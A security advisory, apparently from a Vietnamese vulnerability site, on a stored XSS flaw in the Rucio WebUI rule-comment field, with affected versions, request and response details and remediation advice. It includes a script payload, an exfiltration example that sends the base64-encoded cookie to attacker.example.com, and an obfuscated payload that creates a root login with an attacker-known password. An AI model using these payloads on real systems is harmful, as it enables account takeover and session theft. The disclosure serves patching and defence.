| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| rucio-webui | ≥ 36.0.0rc1, < 38.5.4≥ 39.0.0rc1, < 39.3.1< 35.8.3 | 38.5.439.3.135.8.3 |
| rucio | ≥ 36.0.0, < 38.5.4≥ 39.0.0, < 39.3.1< 35.8.3 | 38.5.439.3.135.8.3 |
A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.
A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.
Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment
Trigger Paths:
https://localhost:8443/ui/rule?rule_id=<RULE_ID>)Create Request
POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}
Response
HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]
Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />
Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />
XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />
Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.
The impact is amplified by:
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíAn attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).
Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.
XSS Payload to Create Root UserPass
<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.
Additional defense-in-depth measures include:
Note that many pages were found setting the API token as
tokenin an authenticated response likevar token = "root-root-webui-...:"(See/ui/list_accountsfor example)